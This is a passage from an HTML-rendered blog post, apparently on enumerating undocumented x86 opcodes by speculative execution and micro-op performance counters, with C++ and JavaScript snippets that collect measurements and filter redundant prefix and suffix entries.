&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;copy_n&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;volatile&lt;/span&gt; &lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;512&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;volatile&lt;/span&gt; &lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ia32&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;sfence&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;size_t&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;512&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ia32&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;clflush&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="0x0-precise-data-collection"&gt;&lt;span class="hx"&gt;0x0:&lt;/span&gt; Precise data collection&lt;/h2&gt;
&lt;p&gt;Finally, we&amp;rsquo;ve hit the exciting part of the experiment, experimenting. We want precise results which implies non-interruptibility. You might be tricked into thinking being in kernel-mode and doing a &lt;code&gt;CLI&lt;/code&gt; solves this problem but this does not really work that way in reality. The first thing that worries me is an &lt;code&gt;#SMI&lt;/code&gt; being delivered, although I keep hearing it freezes PMCs, as far as I&amp;rsquo;ve experimented it really doesn&amp;rsquo;t do a great job at that, but even if it did it&amp;rsquo;s still an impurity we have to eliminate so I&amp;rsquo;ll repeat the experiment until the mighty &lt;code&gt;IA32_MSR_SMI_COUNT&lt;/code&gt; stays constant during the execution. &lt;code&gt;#NMI&lt;/code&gt; is the other bugger, so setting the interrupt handler so that it signals a retry solves this problem (since I&amp;rsquo;m too lazy to unwind). &lt;code&gt;#MC&lt;/code&gt; would also be considered in this category but at that point might as well let it all burn.&lt;/p&gt;
&lt;p&gt;Repeating the experiment multiple times and picking the &lt;code&gt;Mod(x)&lt;/code&gt;, and writing the code in a tight manner eliminates pretty much every other problem we&amp;rsquo;ve left. The next step is simply writing the code and actually collecting the data. The speculated code will be 15 copies of &lt;code&gt;NOP&lt;/code&gt; and a &lt;code&gt;0xCE&lt;/code&gt; at the end to cause an actual &lt;code&gt;#UD&lt;/code&gt; and halt the speculative execution. We&amp;rsquo;ll be trying pretty much every opcode in the range of &lt;code&gt;0x00-0xFF&lt;/code&gt; and they will optionally take a prefix of &lt;code&gt;0x0F&lt;/code&gt; and optionally another prefix in the set &lt;code&gt;{ 0x66, 0xF2, 0xF3 }&lt;/code&gt; since Intel likes to use them to create new opcodes out of thin-air (e.g. the recent FRED instruction &lt;code&gt;ERETS&lt;/code&gt; with its &lt;code&gt;F2 0F 01 CA&lt;/code&gt; encoding). We also need to add a suffix for discovering ModR/M variants. This process completes in mere seconds, which gave the title to this post.&lt;/p&gt;
&lt;h2 id="0x1-reducing-the-results"&gt;&lt;span class="hx"&gt;0x1:&lt;/span&gt; Reducing the results&lt;/h2&gt;
&lt;p&gt;First of all, we&amp;rsquo;ll get two baseline measurements, the &lt;code&gt;NOP&lt;/code&gt;s left as is, and the &lt;code&gt;0xCE&lt;/code&gt; as the first opcode which will reveal the counter values for a complete execution and the &lt;code&gt;for-real-#UD&lt;/code&gt; case (&lt;em&gt;I&amp;rsquo;ve tested other opcodes, 0xCE really isn&amp;rsquo;t an NSA backdoor, it&amp;rsquo;s the real deal as far as #UD&amp;rsquo;s go.&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Simply removing all measurements matching the &lt;code&gt;for-real-#UD&lt;/code&gt; case measurement gets rid of most of the garbage, now we need to get rid of the redundant prefixes, taking a look at the data below you can see a pattern emerge:&lt;/p&gt;
&lt;style&gt;
.isa-table td,
.isa-table th {
white-space: nowrap;
}
.isa-table .idx {
color: var(--coral);
font-weight: 500;
}
.isa-table .dec {
color: var(--text-secondary);
}
.isa-table tr.hl {
background: rgba(233, 83, 120, 0.05);
box-shadow: inset 3px 0 0 var(--accent);
}
.isa-table tr.hl .idx {
color: var(--accent);
}
.isa-table tr.ellipsis td {
text-align: center;
color: var(--text-faint);
letter-spacing: 0.3em;
border-bottom: none;
padding: 0.15rem 0;
}
&lt;/style&gt;
&lt;table class="isa-table"&gt;
&lt;thead&gt;&lt;tr&gt;&lt;th&gt;index&lt;/th&gt;&lt;th&gt;decoding&lt;/th&gt;&lt;th&gt;mits&lt;/th&gt;&lt;th&gt;ms&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt; &lt;td class="idx"&gt;90&lt;/td&gt;
&lt;td class="dec"&gt;nop&lt;/td&gt;
&lt;td&gt;54&lt;/td&gt;
&lt;td&gt;80&lt;sup class="tbl-note" data-note="Baseline measurement"&gt;*&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;6690&lt;/td&gt;
&lt;td class="dec"&gt;data16 nop&lt;/td&gt;
&lt;td&gt;53&lt;/td&gt;
&lt;td&gt;67&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f290&lt;/td&gt;
&lt;td class="dec"&gt;nop&lt;/td&gt;
&lt;td&gt;53&lt;/td&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f20f90&lt;/td&gt;
&lt;td class="dec"&gt;seto byte ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;48&lt;/td&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Every nop translates to a single micro-instruction that will be handled by the MITE, which means if the prefix is redundant MITS should be always off by just one and MS should stay the same, additionally, we can filter out some redundant checks by declaring &lt;code&gt;0x0F&lt;/code&gt; never redundant. Combining both we get rid of most of the redundancies in a simple fashion and even might be able to calculate the instruction length, neat! The code below gets rid of 54954 entries.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;propertyMatch&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;i2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;i2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ms&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nx"&gt;i1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ms&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;i2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;outOfOrder&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nx"&gt;i1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;outOfOrder&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;i2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;iclass&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nx"&gt;i1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;iclass&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// Purge redundant prefixes.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;k1&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;instructions&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Skip if already deleted.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;i1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;instructions&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;k1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;i1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Iterate each prefix (apart from 0f):
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;pfx&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;prefixList&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// If the instruction exists:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;k2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;pfx&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;k1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;k2&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;instructions&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// If the instruction has matching properties as the derived from parent, delete the entry.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;i2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;instructions&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;k2&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;propertyMatch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;i2&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// MITS#1 == MITS#2 can indicate same instruction if instruction halts.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Otherwise MITS#1 has to be one more than MITS#2 since it should execute one more NOP.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mits&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="nx"&gt;i2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mits&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mits&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="nx"&gt;i2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mits&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mits&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;faultBaseline&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mits&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;delete&lt;/span&gt; &lt;span class="nx"&gt;instructions&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;k2&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Suffix-based purging is also more or less the same logic which gets rid of 72869 instructions, leaving us with 1699 entries, which is good enough to start the analysis!&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// Purge redundant suffixes.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;k1&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;instructions&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Skip if already deleted or not relevant.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;i1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;instructions&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;k1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;i1&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;k1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Find maching entries:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;k2&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;instructions&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// If it is matching except the last byte:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;k2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;startsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;k1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;substr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;k1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;k2&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="nx"&gt;k1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// If it has matching properties ignoring the length, erase it
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
